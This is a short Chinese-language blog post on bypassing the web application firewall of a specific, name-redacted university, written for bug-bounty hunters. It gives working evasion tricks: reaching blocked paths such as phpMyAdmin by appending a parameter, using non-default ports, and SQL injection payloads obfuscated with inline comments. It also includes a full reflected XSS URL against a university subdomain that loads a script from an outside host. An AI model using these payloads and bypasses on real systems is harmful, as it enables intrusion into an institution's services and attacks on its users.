██大学通用型WAF不完全绕过（持续非定期更新）
Update 该██大学WAF并非██大学自研，据推测只是某商用WAF 引子 每一个想日，啊呸，测试 █ 大各个系统安全性的人都会遇到一只通用型WAF，这个冷酷的WAF一言不合就喜欢把包给reset掉。 这给各位想要刷SRC的小白帽造成了一定的困扰，本文来讲讲个人绕过这只WAF的经验。 同时如果学校负责搞这一块的人看到了，麻烦reinforce一下这个WAF,不要沉迷于炫酷的NDR和花哨的基于机器学习的防护了（求不开除）。 非默认端口导致完全绕过 测试HTTPS服务 测试8080/8081等端口的服务 从非主流端口刷洞往往会有惊喜哦~ 路径限制绕过 这只WAF会对访问敏感路径加以限制,但是加上参数可以绕过。 比如想访问 xxx.██.edu.cn/phpmyadmin/会被拦截，访问 xxx.██.edu.cn/phpmyadmin/?id=1可以绕过 XSS防护绕过 最直白的payload类似<script> alert('xss'); </script> 但是你可以用<script src=来远程加载脚本，并绕过防护 来一个我们网安院的XSS http://██.██.edu.cn/██/██?search=naive%22%3E%20%3Cmeta%20name=%22referrer%22%20content=%22never%22%20%3E%20%3Cscript%20src=%22https://cdn.jsdelivr.net/gh/TomAPU/xsstest/test.js%22%3E%3C/script%3E%20%3C!-- SQL注入绕过 Union注入时union select 1 from 2替换成union/*fuckyou//*a*//*!select*/1/*fuckyou//*a*//*!from*/2 order by测试时直接把空格换成/**//**/